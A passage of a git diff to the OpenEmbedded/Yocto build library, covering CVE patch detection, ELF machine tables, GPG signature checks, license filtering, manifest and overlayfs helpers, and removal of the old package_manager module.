+ # Matches the last "CVE-YYYY-ID" in the file name, also if written
+ # in lowercase. Possible to have multiple CVE IDs in a single
+ # file name, but only the last one will be detected from the file name.
+ # However, patch files contents addressing multiple CVE IDs are supported
+ # (cve_match regular expression)
+
+ cve_file_name_match = re.compile(".*([Cc][Vv][Ee]\-\d{4}\-\d+)")
+
+ patched_cves = set()
+ bb.debug(2, "Looking for patches that solves CVEs for %s" % pn)
+ for url in oe.patch.src_patches(d):
+ patch_file = bb.fetch.decodeurl(url)[2]
+
+ if not os.path.isfile(patch_file):
+ bb.error("File Not found: %s" % patch_file)
+ raise FileNotFoundError
+
+ # Check patch file name for CVE ID
+ fname_match = cve_file_name_match.search(patch_file)
+ if fname_match:
+ cve = fname_match.group(1).upper()
+ patched_cves.add(cve)
+ bb.debug(2, "Found CVE %s from patch file name %s" % (cve, patch_file))
+
+ with open(patch_file, "r", encoding="utf-8") as f:
+ try:
+ patch_text = f.read()
+ except UnicodeDecodeError:
+ bb.debug(1, "Failed to read patch %s using UTF-8 encoding"
+ " trying with iso8859-1" % patch_file)
+ f.close()
+ with open(patch_file, "r", encoding="iso8859-1") as f:
+ patch_text = f.read()
+
+ # Search for one or more "CVE: " lines
+ text_match = False
+ for match in cve_match.finditer(patch_text):
+ # Get only the CVEs without the "CVE: " tag
+ cves = patch_text[match.start()+5:match.end()]
+ for cve in cves.split():
+ bb.debug(2, "Patch %s solves %s" % (patch_file, cve))
+ patched_cves.add(cve)
+ text_match = True
+
+ if not fname_match and not text_match:
+ bb.debug(2, "Patch %s doesn't solve CVEs" % patch_file)
+
+ return patched_cves
+
+
+def get_cpe_ids(cve_product, version):
+ """
+ Get list of CPE identifiers for the given product and version
+ """
+
+ version = version.split("+git")[0]
+
+ cpe_ids = []
+ for product in cve_product.split():
+ # CVE_PRODUCT in recipes may include vendor information for CPE identifiers. If not,
+ # use wildcard for vendor.
+ if ":" in product:
+ vendor, product = product.split(":", 1)
+ else:
+ vendor = "*"
+
+ cpe_id = f'cpe:2.3:a:{vendor}:{product}:{version}:*:*:*:*:*:*:*'
+ cpe_ids.append(cpe_id)
+
+ return cpe_ids
diff --git a/meta/lib/oe/distro_check.py b/meta/lib/oe/distro_check.py
index 88e46c354d..4b2a9bec01 100644
--- a/meta/lib/oe/distro_check.py
+++ b/meta/lib/oe/distro_check.py
@@ -26,7 +26,7 @@ def find_latest_numeric_release(url, d):
maxstr=""
for link in get_links_from_url(url, d):
try:
- # TODO use LooseVersion
+ # TODO use bb.utils.vercmp_string_op()
release = float(link)
except:
release = 0
diff --git a/meta/lib/oe/elf.py b/meta/lib/oe/elf.py
index 2562cea1dd..46c884a775 100644
--- a/meta/lib/oe/elf.py
+++ b/meta/lib/oe/elf.py
@@ -15,13 +15,13 @@ def machine_dict(d):
"aarch64" : (183, 0, 0, True, 64),
"aarch64_be" :(183, 0, 0, False, 64),
"i586" : (3, 0, 0, True, 32),
+ "i686" : (3, 0, 0, True, 32),
"x86_64": (62, 0, 0, True, 64),
"epiphany": (4643, 0, 0, True, 32),
"lm32": (138, 0, 0, False, 32),
"mips": ( 8, 0, 0, False, 32),
"mipsel": ( 8, 0, 0, True, 32),
"microblaze": (189, 0, 0, False, 32),
- "microblazeeb":(189, 0, 0, False, 32),
"microblazeel":(189, 0, 0, True, 32),
"powerpc": (20, 0, 0, False, 32),
"riscv32": (243, 0, 0, True, 32),
@@ -34,6 +34,7 @@ def machine_dict(d):
"armeb": (40, 97, 0, False, 32),
"powerpc": (20, 0, 0, False, 32),
"powerpc64": (21, 0, 0, False, 64),
+ "powerpc64le": (21, 0, 0, True, 64),
"i386": ( 3, 0, 0, True, 32),
"i486": ( 3, 0, 0, True, 32),
"i586": ( 3, 0, 0, True, 32),
@@ -58,9 +59,16 @@ def machine_dict(d):
"sh4": (42, 0, 0, True, 32),
"sparc": ( 2, 0, 0, False, 32),
"microblaze": (189, 0, 0, False, 32),
- "microblazeeb":(189, 0, 0, False, 32),
"microblazeel":(189, 0, 0, True, 32),
},
+ "linux-android" : {
+ "aarch64" : (183, 0, 0, True, 64),
+ "i686": ( 3, 0, 0, True, 32),
+ "x86_64": (62, 0, 0, True, 64),
+ },
+ "linux-androideabi" : {
+ "arm" : (40, 97, 0, True, 32),
+ },
"linux-musl" : {
"aarch64" : (183, 0, 0, True, 64),
"aarch64_be" :(183, 0, 0, False, 64),
@@ -68,6 +76,7 @@ def machine_dict(d):
"armeb": ( 40, 97, 0, False, 32),
"powerpc": ( 20, 0, 0, False, 32),
"powerpc64": ( 21, 0, 0, False, 64),
+ "powerpc64le": (21, 0, 0, True, 64),
"i386": ( 3, 0, 0, True, 32),
"i486": ( 3, 0, 0, True, 32),
"i586": ( 3, 0, 0, True, 32),
@@ -78,7 +87,6 @@ def machine_dict(d):
"mips64": ( 8, 0, 0, False, 64),
"mips64el": ( 8, 0, 0, True, 64),
"microblaze": (189, 0, 0, False, 32),
- "microblazeeb":(189, 0, 0, False, 32),
"microblazeel":(189, 0, 0, True, 32),
"riscv32": (243, 0, 0, True, 32),
"riscv64": (243, 0, 0, True, 64),
diff --git a/meta/lib/oe/gpg_sign.py b/meta/lib/oe/gpg_sign.py
index 7634d7ef1d..1bce6cb792 100644
--- a/meta/lib/oe/gpg_sign.py
+++ b/meta/lib/oe/gpg_sign.py
@@ -109,16 +109,33 @@ class LocalSigner(object):
bb.fatal("Could not get gpg version: %s" % e)
- def verify(self, sig_file):
+ def verify(self, sig_file, valid_sigs = ''):
"""Verify signature"""
- cmd = self.gpg_cmd + [" --verify", "--no-permission-warning"]
+ cmd = self.gpg_cmd + ["--verify", "--no-permission-warning", "--status-fd", "1"]
if self.gpg_path:
cmd += ["--homedir", self.gpg_path]
cmd += [sig_file]
- status = subprocess.call(cmd)
- ret = False if status else True
- return ret
+ status = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ # Valid if any key matches if unspecified
+ if not valid_sigs:
+ ret = False if status.returncode else True
+ return ret
+
+ import re
+ goodsigs = []
+ sigre = re.compile(r'^\[GNUPG:\] GOODSIG (\S+)\s(.*)$')
+ for l in status.stdout.decode("utf-8").splitlines():
+ s = sigre.match(l)
+ if s:
+ goodsigs += [s.group(1)]
+
+ for sig in valid_sigs.split():
+ if sig in goodsigs:
+ return True
+ if len(goodsigs):
+ bb.warn('No accepted signatures found. Good signatures found: %s.' % ' '.join(goodsigs))
+ return False
def get_signer(d, backend):
diff --git a/meta/lib/oe/license.py b/meta/lib/oe/license.py
index c1274a61de..99cfa5f733 100644
--- a/meta/lib/oe/license.py
+++ b/meta/lib/oe/license.py
@@ -10,17 +10,20 @@ from fnmatch import fnmatchcase as fnmatch
def license_ok(license, dont_want_licenses):
""" Return False if License exist in dont_want_licenses else True """
for dwl in dont_want_licenses:
- # If you want to exclude license named generically 'X', we
- # surely want to exclude 'X+' as well. In consequence, we
- # will exclude a trailing '+' character from LICENSE in
- # case INCOMPATIBLE_LICENSE is not a 'X+' license.
- lic = license
- if not re.search(r'\+$', dwl):
- lic = re.sub(r'\+', '', license)
- if fnmatch(lic, dwl):
+ if fnmatch(license, dwl):
return False
return True
+def obsolete_license_list():
+ return ["AGPL-3", "AGPL-3+", "AGPLv3", "AGPLv3+", "AGPLv3.0", "AGPLv3.0+", "AGPL-3.0", "AGPL-3.0+", "BSD-0-Clause",
+ "GPL-1", "GPL-1+", "GPLv1", "GPLv1+", "GPLv1.0", "GPLv1.0+", "GPL-1.0", "GPL-1.0+", "GPL-2", "GPL-2+", "GPLv2",
+ "GPLv2+", "GPLv2.0", "GPLv2.0+", "GPL-2.0", "GPL-2.0+", "GPL-3", "GPL-3+", "GPLv3", "GPLv3+", "GPLv3.0", "GPLv3.0+",
+ "GPL-3.0", "GPL-3.0+", "LGPLv2", "LGPLv2+", "LGPLv2.0", "LGPLv2.0+", "LGPL-2.0", "LGPL-2.0+", "LGPL2.1", "LGPL2.1+",
+ "LGPLv2.1", "LGPLv2.1+", "LGPL-2.1", "LGPL-2.1+", "LGPLv3", "LGPLv3+", "LGPL-3.0", "LGPL-3.0+", "MPL-1", "MPLv1",
+ "MPLv1.1", "MPLv2", "MIT-X", "MIT-style", "openssl", "PSF", "PSFv2", "Python-2", "Apachev2", "Apache-2", "Artisticv1",
+ "Artistic-1", "AFL-2", "AFL-1", "AFLv2", "AFLv1", "CDDLv1", "CDDL-1", "EPLv1.0", "FreeType", "Nauman",
+ "tcl", "vim", "SGIv1"]
+
class LicenseError(Exception):
pass
@@ -81,6 +84,9 @@ class FlattenVisitor(LicenseVisitor):
def visit_Str(self, node):
self.licenses.append(node.s)
+ def visit_Constant(self, node):
+ self.licenses.append(node.value)
+
def visit_BinOp(self, node):
if isinstance(node.op, ast.BitOr):
left = FlattenVisitor(self.choose_licenses)
@@ -103,26 +109,26 @@ def flattened_licenses(licensestr, choose_licenses):
raise LicenseSyntaxError(licensestr, exc)
return flatten.licenses
-def is_included(licensestr, whitelist=None, blacklist=None):
- """Given a license string and whitelist and blacklist, determine if the
- license string matches the whitelist and does not match the blacklist.
+def is_included(licensestr, include_licenses=None, exclude_licenses=None):
+ """Given a license string, a list of licenses to include and a list of
+ licenses to exclude, determine if the license string matches the include
+ list and does not match the exclude list.
Returns a tuple holding the boolean state and a list of the applicable
licenses that were excluded if state is False, or the licenses that were
- included if the state is True.
- """
+ included if the state is True."""
def include_license(license):
- return any(fnmatch(license, pattern) for pattern in whitelist)
+ return any(fnmatch(license, pattern) for pattern in include_licenses)
def exclude_license(license):
- return any(fnmatch(license, pattern) for pattern in blacklist)
+ return any(fnmatch(license, pattern) for pattern in exclude_licenses)
def choose_licenses(alpha, beta):
"""Select the option in an OR which is the 'best' (has the most
included licenses and no excluded licenses)."""
# The factor 1000 below is arbitrary, just expected to be much larger
- # that the number of licenses actually specified. That way the weight
+ # than the number of licenses actually specified. That way the weight
# will be negative if the list of licenses contains an excluded license,
# but still gives a higher weight to the list with the most included
# licenses.
@@ -135,11 +141,11 @@ def is_included(licensestr, whitelist=None, blacklist=None):
else:
return beta
- if not whitelist:
- whitelist = ['*']
+ if not include_licenses:
+ include_licenses = ['*']
- if not blacklist:
- blacklist = []
+ if not exclude_licenses:
+ exclude_licenses = []
licenses = flattened_licenses(licensestr, choose_licenses)
excluded = [lic for lic in licenses if exclude_license(lic)]
@@ -234,6 +240,9 @@ class ListVisitor(LicenseVisitor):
def visit_Str(self, node):
self.licenses.add(node.s)
+ def visit_Constant(self, node):
+ self.licenses.add(node.value)
+
def list_licenses(licensestr):
"""Simply get a list of all licenses mentioned in a license string.
Binary operators are not applied or taken into account in any way"""
@@ -243,3 +252,8 @@ def list_licenses(licensestr):
except SyntaxError as exc:
raise LicenseSyntaxError(licensestr, exc)
return visitor.licenses
+
+def apply_pkg_license_exception(pkg, bad_licenses, exceptions):
+ """Return remaining bad licenses after removing any package exceptions"""
+
+ return [lic for lic in bad_licenses if pkg + ':' + lic not in exceptions]
diff --git a/meta/lib/oe/maketype.py b/meta/lib/oe/maketype.py
index d929c8b3e5..d36082c535 100644
--- a/meta/lib/oe/maketype.py
+++ b/meta/lib/oe/maketype.py
@@ -10,12 +10,7 @@ the arguments of the type's factory for details.
import inspect
import oe.types as types
-try:
- # Python 3.7+
- from collections.abc import Callable
-except ImportError:
- # Python < 3.7
- from collections import Callable
+from collections.abc import Callable
available_types = {}
diff --git a/meta/lib/oe/manifest.py b/meta/lib/oe/manifest.py
index f7c88f9a09..1a058dcd73 100644
--- a/meta/lib/oe/manifest.py
+++ b/meta/lib/oe/manifest.py
@@ -7,7 +7,6 @@ import os
import re
import bb
-
class Manifest(object, metaclass=ABCMeta):
"""
This is an abstract class. Do not instantiate this directly.
@@ -189,154 +188,11 @@ class Manifest(object, metaclass=ABCMeta):
return installed_pkgs
-class RpmManifest(Manifest):
- """
- Returns a dictionary object with mip and mlp packages.
- """
- def _split_multilib(self, pkg_list):
- pkgs = dict()
-
- for pkg in pkg_list.split():
- pkg_type = self.PKG_TYPE_MUST_INSTALL
-
- ml_variants = self.d.getVar('MULTILIB_VARIANTS').split()
-
- for ml_variant in ml_variants:
- if pkg.startswith(ml_variant + '-'):
- pkg_type = self.PKG_TYPE_MULTILIB
-
- if not pkg_type in pkgs:
- pkgs[pkg_type] = pkg
- else:
- pkgs[pkg_type] += " " + pkg
-
- return pkgs
-
- def create_initial(self):
- pkgs = dict()
-
- with open(self.initial_manifest, "w+") as manifest:
- manifest.write(self.initial_manifest_file_header)
-
- for var in self.var_maps[self.manifest_type]:
- if var in self.vars_to_split:
- split_pkgs = self._split_multilib(self.d.getVar(var))
- if split_pkgs is not None:
- pkgs = dict(list(pkgs.items()) + list(split_pkgs.items()))
- else:
- pkg_list = self.d.getVar(var)
- if pkg_list is not None:
- pkgs[self.var_maps[self.manifest_type][var]] = self.d.getVar(var)
-
- for pkg_type in pkgs:
- for pkg in pkgs[pkg_type].split():
- manifest.write("%s,%s\n" % (pkg_type, pkg))
-
- def create_final(self):
- pass
-
- def create_full(self, pm):
- pass
-
-
-class OpkgManifest(Manifest):
- """
- Returns a dictionary object with mip and mlp packages.
- """
- def _split_multilib(self, pkg_list):
- pkgs = dict()
-
- for pkg in pkg_list.split():
- pkg_type = self.PKG_TYPE_MUST_INSTALL
-
- ml_variants = self.d.getVar('MULTILIB_VARIANTS').split()
-
- for ml_variant in ml_variants:
- if pkg.startswith(ml_variant + '-'):
- pkg_type = self.PKG_TYPE_MULTILIB
-
- if not pkg_type in pkgs:
- pkgs[pkg_type] = pkg
- else:
- pkgs[pkg_type] += " " + pkg
-
- return pkgs
-
- def create_initial(self):
- pkgs = dict()
-
- with open(self.initial_manifest, "w+") as manifest:
- manifest.write(self.initial_manifest_file_header)
-
- for var in self.var_maps[self.manifest_type]:
- if var in self.vars_to_split:
- split_pkgs = self._split_multilib(self.d.getVar(var))
- if split_pkgs is not None:
- pkgs = dict(list(pkgs.items()) + list(split_pkgs.items()))
- else:
- pkg_list = self.d.getVar(var)
- if pkg_list is not None:
- pkgs[self.var_maps[self.manifest_type][var]] = self.d.getVar(var)
-
- for pkg_type in sorted(pkgs):
- for pkg in sorted(pkgs[pkg_type].split()):
- manifest.write("%s,%s\n" % (pkg_type, pkg))
-
- def create_final(self):
- pass
-
- def create_full(self, pm):
- if not os.path.exists(self.initial_manifest):
- self.create_initial()
-
- initial_manifest = self.parse_initial_manifest()
- pkgs_to_install = list()
- for pkg_type in initial_manifest:
- pkgs_to_install += initial_manifest[pkg_type]
- if len(pkgs_to_install) == 0:
- return
-
- output = pm.dummy_install(pkgs_to_install)
-
- with open(self.full_manifest, 'w+') as manifest:
- pkg_re = re.compile('^Installing ([^ ]+) [^ ].*')
- for line in set(output.split('\n')):
- m = pkg_re.match(line)
- if m:
- manifest.write(m.group(1) + '\n')
-
- return
-
-
-class DpkgManifest(Manifest):
- def create_initial(self):
- with open(self.initial_manifest, "w+") as manifest:
- manifest.write(self.initial_manifest_file_header)
-
- for var in self.var_maps[self.manifest_type]:
- pkg_list = self.d.getVar(var)
-
- if pkg_list is None:
- continue
-
- for pkg in pkg_list.split():
- manifest.write("%s,%s\n" %
- (self.var_maps[self.manifest_type][var], pkg))
-
- def create_final(self):
- pass
-
- def create_full(self, pm):
- pass
-
def create_manifest(d, final_manifest=False, manifest_dir=None,
manifest_type=Manifest.MANIFEST_TYPE_IMAGE):
- manifest_map = {'rpm': RpmManifest,
- 'ipk': OpkgManifest,
- 'deb': DpkgManifest}
-
- manifest = manifest_map[d.getVar('IMAGE_PKGTYPE')](d, manifest_dir, manifest_type)
+ import importlib
+ manifest = importlib.import_module('oe.package_manager.' + d.getVar('IMAGE_PKGTYPE') + '.manifest').PkgManifest(d, manifest_dir, manifest_type)
if final_manifest:
manifest.create_final()
diff --git a/meta/lib/oe/overlayfs.py b/meta/lib/oe/overlayfs.py
new file mode 100644
index 0000000000..b5d5e88e80
--- /dev/null
+++ b/meta/lib/oe/overlayfs.py
@@ -0,0 +1,48 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# This file contains common functions for overlayfs and its QA check
+
+# this function is based on https://github.com/systemd/systemd/blob/main/src/basic/unit-name.c
+def escapeSystemdUnitName(path):
+ escapeMap = {
+ '/': '-',
+ '-': "\\x2d",
+ '\\': "\\x5d"
+ }
+ return "".join([escapeMap.get(c, c) for c in path.strip('/')])
+
+def strForBash(s):
+ return s.replace('\\', '\\\\')
+
+def allOverlaysUnitName(d):
+ return d.getVar('PN') + '-overlays.service'
+
+def mountUnitName(unit):
+ return escapeSystemdUnitName(unit) + '.mount'
+
+def helperUnitName(unit):
+ return escapeSystemdUnitName(unit) + '-create-upper-dir.service'
+
+def unitFileList(d):
+ fileList = []
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+
+ if not overlayMountPoints:
+ bb.fatal("A recipe uses overlayfs class but there is no OVERLAYFS_MOUNT_POINT set in your MACHINE configuration")
+
+ # check that we have required mount points set first
+ requiredMountPoints = d.getVarFlags('OVERLAYFS_WRITABLE_PATHS')
+ for mountPoint in requiredMountPoints:
+ if mountPoint not in overlayMountPoints:
+ bb.fatal("Missing required mount point for OVERLAYFS_MOUNT_POINT[%s] in your MACHINE configuration" % mountPoint)
+
+ for mountPoint in overlayMountPoints:
+ for path in d.getVarFlag('OVERLAYFS_WRITABLE_PATHS', mountPoint).split():
+ fileList.append(mountUnitName(path))
+ fileList.append(helperUnitName(path))
+
+ fileList.append(allOverlaysUnitName(d))
+
+ return fileList
+
diff --git a/meta/lib/oe/package.py b/meta/lib/oe/package.py
index b8585d4253..7d387ee81d 100644
--- a/meta/lib/oe/package.py
+++ b/meta/lib/oe/package.py
@@ -16,7 +16,11 @@ def runstrip(arg):
# 8 - shared library
# 16 - kernel module
- (file, elftype, strip) = arg
+ if len(arg) == 3:
+ (file, elftype, strip) = arg
+ extra_strip_sections = ''
+ else:
+ (file, elftype, strip, extra_strip_sections) = arg
newmode = None
if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
@@ -40,6 +44,9 @@ def runstrip(arg):
# shared or executable:
elif elftype & 8 or elftype & 4:
stripcmd.extend(["--remove-section=.comment", "--remove-section=.note"])
+ if extra_strip_sections != '':
+ for section in extra_strip_sections.split():
+ stripcmd.extend(["--remove-section=" + section])
stripcmd.append(file)
bb.debug(1, "runstrip: %s" % stripcmd)
@@ -283,36 +290,3 @@ def read_shlib_providers(d):
shlib_provider[s[0]] = {}
shlib_provider[s[0]][s[1]] = (dep_pkg, s[2])
return shlib_provider
-
-
-def npm_split_package_dirs(pkgdir):
- """
- Work out the packages fetched and unpacked by BitBake's npm fetcher
- Returns a dict of packagename -> (relpath, package.json) ordered
- such that it is suitable for use in PACKAGES and FILES
- """
- from collections import OrderedDict
- import json
- packages = {}
- for root, dirs, files in os.walk(pkgdir):
- if os.path.basename(root) == 'node_modules':
- for dn in dirs:
- relpth = os.path.relpath(os.path.join(root, dn), pkgdir)
- pkgitems = ['${PN}']
- for pathitem in relpth.split('/'):
- if pathitem == 'node_modules':
- continue
- pkgitems.append(pathitem)
- pkgname = '-'.join(pkgitems).replace('_', '-')
- pkgname = pkgname.replace('@', '')
- pkgfile = os.path.join(root, dn, 'package.json')
- data = None
- if os.path.exists(pkgfile):
- with open(pkgfile, 'r') as f:
- data = json.loads(f.read())
- packages[pkgname] = (relpth, data)
- # We want the main package for a module sorted *after* its subpackages
- # (so that it doesn't otherwise steal the files for the subpackage), so
- # this is a cheap way to do that whilst still having an otherwise
- # alphabetical sort
- return OrderedDict((key, packages[key]) for key in sorted(packages, key=lambda pkg: pkg + '~'))
diff --git a/meta/lib/oe/package_manager.py b/meta/lib/oe/package_manager.py
deleted file mode 100644
index c7135ce918..0000000000
--- a/meta/lib/oe/package_manager.py
+++ /dev/null
@@ -1,1853 +0,0 @@
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-
-from abc import ABCMeta, abstractmethod
-import os
-import glob
-import subprocess
-import shutil
-import re
-import collections
-import bb
-import tempfile
-import oe.utils
-import oe.path
-import string
-from oe.gpg_sign import get_signer
-import hashlib
-import fnmatch
-
-# this can be used by all PM backends to create the index files in parallel
-def create_index(arg):
- index_cmd = arg
-
- bb.note("Executing '%s' ..." % index_cmd)
- result = subprocess.check_output(index_cmd, stderr=subprocess.STDOUT, shell=True).decode("utf-8")
- if result:
- bb.note(result)
-
-def opkg_query(cmd_output):
- """
- This method parse the output from the package managerand return
- a dictionary with the information of the packages. This is used
- when the packages are in deb or ipk format.
- """
- verregex = re.compile(r' \([=<>]* [^ )]*\)')
- output = dict()
- pkg = ""
- arch = ""
- ver = ""
- filename = ""
- dep = []
- pkgarch = ""
- for line in cmd_output.splitlines():
- line = line.rstrip()
- if ':' in line:
- if line.startswith("Package: "):
- pkg = line.split(": ")[1]
- elif line.startswith("Architecture: "):
- arch = line.split(": ")[1]
- elif line.startswith("Version: "):
- ver = line.split(": ")[1]
- elif line.startswith("File: ") or line.startswith("Filename:"):
- filename = line.split(": ")[1]
- if "/" in filename:
- filename = os.path.basename(filename)
- elif line.startswith("Depends: "):
- depends = verregex.sub('', line.split(": ")[1])
- for depend in depends.split(", "):
- dep.append(depend)
- elif line.startswith("Recommends: "):
- recommends = verregex.sub('', line.split(": ")[1])
- for recommend in recommends.split(", "):
- dep.append("%s [REC]" % recommend)
- elif line.startswith("PackageArch: "):
- pkgarch = line.split(": ")[1]
-
- # When there is a blank line save the package information
- elif not line:
- # IPK doesn't include the filename
- if not filename:
- filename = "%s_%s_%s.ipk" % (pkg, ver, arch)
- if pkg:
- output[pkg] = {"arch":arch, "ver":ver,
- "filename":filename, "deps": dep, "pkgarch":pkgarch }
- pkg = ""
- arch = ""
- ver = ""
- filename = ""
- dep = []
- pkgarch = ""
-
- if pkg:
- if not filename:
- filename = "%s_%s_%s.ipk" % (pkg, ver, arch)
- output[pkg] = {"arch":arch, "ver":ver,
- "filename":filename, "deps": dep }
-
- return output
-
-def failed_postinsts_abort(pkgs, log_path):
- bb.fatal("""Postinstall scriptlets of %s have failed. If the intention is to defer them to first boot,
-then please place them into pkg_postinst_ontarget_${PN} ().
-Deferring to first boot via 'exit 1' is no longer supported.
-Details of the failure are in %s.""" %(pkgs, log_path))
-
-def generate_locale_archive(d, rootfs, target_arch, localedir):
- # Pretty sure we don't need this for locale archive generation but
- # keeping it to be safe...
- locale_arch_options = { \
- "arc": ["--uint32-align=4", "--little-endian"],
- "arceb": ["--uint32-align=4", "--big-endian"],
- "arm": ["--uint32-align=4", "--little-endian"],
- "armeb": ["--uint32-align=4", "--big-endian"],
- "aarch64": ["--uint32-align=4", "--little-endian"],
- "aarch64_be": ["--uint32-align=4", "--big-endian"],
- "sh4": ["--uint32-align=4", "--big-endian"],
- "powerpc": ["--uint32-align=4", "--big-endian"],
- "powerpc64": ["--uint32-align=4", "--big-endian"],
- "mips": ["--uint32-align=4", "--big-endian"],
- "mipsisa32r6": ["--uint32-align=4", "--big-endian"],
- "mips64": ["--uint32-align=4", "--big-endian"],
- "mipsisa64r6": ["--uint32-align=4", "--big-endian"],
- "mipsel": ["--uint32-align=4", "--little-endian"],
- "mipsisa32r6el": ["--uint32-align=4", "--little-endian"],
- "mips64el": ["--uint32-align=4", "--little-endian"],
- "mipsisa64r6el": ["--uint32-align=4", "--little-endian"],
- "riscv64": ["--uint32-align=4", "--little-endian"],
- "riscv32": ["--uint32-align=4", "--little-endian"],
- "i586": ["--uint32-align=4", "--little-endian"],
- "i686": ["--uint32-align=4", "--little-endian"],
- "x86_64": ["--uint32-align=4", "--little-endian"]
- }
- if target_arch in locale_arch_options:
- arch_options = locale_arch_options[target_arch]
- else:
- bb.error("locale_arch_options not found for target_arch=" + target_arch)
- bb.fatal("unknown arch:" + target_arch + " for locale_arch_options")
-
- # Need to set this so cross-localedef knows where the archive is
- env = dict(os.environ)
- env["LOCALEARCHIVE"] = oe.path.join(localedir, "locale-archive")
-
- for name in os.listdir(localedir):
- path = os.path.join(localedir, name)
- if os.path.isdir(path):
- cmd = ["cross-localedef", "--verbose"]
- cmd += arch_options
- cmd += ["--add-to-archive", path]
- subprocess.check_output(cmd, env=env, stderr=subprocess.STDOUT)
-
-class Indexer(object, metaclass=ABCMeta):
- def __init__(self, d, deploy_dir):
- self.d = d
- self.deploy_dir = deploy_dir
-
- @abstractmethod
- def write_index(self):
- pass
-
-
-class RpmIndexer(Indexer):
- def write_index(self):
- self.do_write_index(self.deploy_dir)
-
- def do_write_index(self, deploy_dir):
- if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
- signer = get_signer(self.d, self.d.getVar('PACKAGE_FEED_GPG_BACKEND'))
- else:
- signer = None
-
- createrepo_c = bb.utils.which(os.environ['PATH'], "createrepo_c")
- result = create_index("%s --update -q %s" % (createrepo_c, deploy_dir))
- if result:
- bb.fatal(result)
-
- # Sign repomd
- if signer:
- sig_type = self.d.getVar('PACKAGE_FEED_GPG_SIGNATURE_TYPE')
- is_ascii_sig = (sig_type.upper() != "BIN")
- signer.detach_sign(os.path.join(deploy_dir, 'repodata', 'repomd.xml'),
- self.d.getVar('PACKAGE_FEED_GPG_NAME'),
- self.d.getVar('PACKAGE_FEED_GPG_PASSPHRASE_FILE'),
- armor=is_ascii_sig)
-
-class RpmSubdirIndexer(RpmIndexer):
- def write_index(self):
- bb.note("Generating package index for %s" %(self.deploy_dir))
- self.do_write_index(self.deploy_dir)
- for entry in os.walk(self.deploy_dir):
- if os.path.samefile(self.deploy_dir, entry[0]):
- for dir in entry[1]:
- if dir != 'repodata':
- dir_path = oe.path.join(self.deploy_dir, dir)
- bb.note("Generating package index for %s" %(dir_path))
- self.do_write_index(dir_path)
-
-class OpkgIndexer(Indexer):
- def write_index(self):
- arch_vars = ["ALL_MULTILIB_PACKAGE_ARCHS",
- "SDK_PACKAGE_ARCHS",
- ]
-
- opkg_index_cmd = bb.utils.which(os.getenv('PATH'), "opkg-make-index")
- if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
- signer = get_signer(self.d, self.d.getVar('PACKAGE_FEED_GPG_BACKEND'))
- else:
- signer = None
-
- if not os.path.exists(os.path.join(self.deploy_dir, "Packages")):
- open(os.path.join(self.deploy_dir, "Packages"), "w").close()
-
- index_cmds = set()
- index_sign_files = set()
- for arch_var in arch_vars:
- archs = self.d.getVar(arch_var)
- if archs is None:
- continue
-
- for arch in archs.split():
- pkgs_dir = os.path.join(self.deploy_dir, arch)
- pkgs_file = os.path.join(pkgs_dir, "Packages")
-
- if not os.path.isdir(pkgs_dir):
- continue
-
- if not os.path.exists(pkgs_file):
- open(pkgs_file, "w").close()
-
- index_cmds.add('%s -r %s -p %s -m %s' %
- (opkg_index_cmd, pkgs_file, pkgs_file, pkgs_dir))
-
- index_sign_files.add(pkgs_file)
-
- if len(index_cmds) == 0:
- bb.note("There are no packages in %s!" % self.deploy_dir)
- return
-
- oe.utils.multiprocess_launch(create_index, index_cmds, self.d)
-
- if signer:
- feed_sig_type = self.d.getVar('PACKAGE_FEED_GPG_SIGNATURE_TYPE')
- is_ascii_sig = (feed_sig_type.upper() != "BIN")
- for f in index_sign_files:
- signer.detach_sign(f,
- self.d.getVar('PACKAGE_FEED_GPG_NAME'),
- self.d.getVar('PACKAGE_FEED_GPG_PASSPHRASE_FILE'),
- armor=is_ascii_sig)
-
-
-class DpkgIndexer(Indexer):
- def _create_configs(self):
- bb.utils.mkdirhier(self.apt_conf_dir)
- bb.utils.mkdirhier(os.path.join(self.apt_conf_dir, "lists", "partial"))
- bb.utils.mkdirhier(os.path.join(self.apt_conf_dir, "apt.conf.d"))
- bb.utils.mkdirhier(os.path.join(self.apt_conf_dir, "preferences.d"))
-
- with open(os.path.join(self.apt_conf_dir, "preferences"),
- "w") as prefs_file:
- pass
- with open(os.path.join(self.apt_conf_dir, "sources.list"),
- "w+") as sources_file:
- pass
-
- with open(self.apt_conf_file, "w") as apt_conf:
- with open(os.path.join(self.d.expand("${STAGING_ETCDIR_NATIVE}"),
- "apt", "apt.conf.sample")) as apt_conf_sample:
- for line in apt_conf_sample.read().split("\n"):
- line = re.sub(r"#ROOTFS#", "/dev/null", line)
- line = re.sub(r"#APTCONF#", self.apt_conf_dir, line)
- apt_conf.write(line + "\n")
-
- def write_index(self):
- self.apt_conf_dir = os.path.join(self.d.expand("${APTCONF_TARGET}"),
- "apt-ftparchive")
- self.apt_conf_file = os.path.join(self.apt_conf_dir, "apt.conf")
- self._create_configs()
-
- os.environ['APT_CONFIG'] = self.apt_conf_file
-
- pkg_archs = self.d.getVar('PACKAGE_ARCHS')
- if pkg_archs is not None:
- arch_list = pkg_archs.split()
- sdk_pkg_archs = self.d.getVar('SDK_PACKAGE_ARCHS')
- if sdk_pkg_archs is not None:
- for a in sdk_pkg_archs.split():
- if a not in pkg_archs:
- arch_list.append(a)
-
- all_mlb_pkg_arch_list = (self.d.getVar('ALL_MULTILIB_PACKAGE_ARCHS') or "").split()
- arch_list.extend(arch for arch in all_mlb_pkg_arch_list if arch not in arch_list)
-
- apt_ftparchive = bb.utils.which(os.getenv('PATH'), "apt-ftparchive")
- gzip = bb.utils.which(os.getenv('PATH'), "gzip")
-
- index_cmds = []
- deb_dirs_found = False
- for arch in arch_list:
- arch_dir = os.path.join(self.deploy_dir, arch)
- if not os.path.isdir(arch_dir):
- continue
-
- cmd = "cd %s; PSEUDO_UNLOAD=1 %s packages . > Packages;" % (arch_dir, apt_ftparchive)
-
- cmd += "%s -fcn Packages > Packages.gz;" % gzip
-
- with open(os.path.join(arch_dir, "Release"), "w+") as release:
- release.write("Label: %s\n" % arch)
-
- cmd += "PSEUDO_UNLOAD=1 %s release . >> Release" % apt_ftparchive
-
- index_cmds.append(cmd)
-
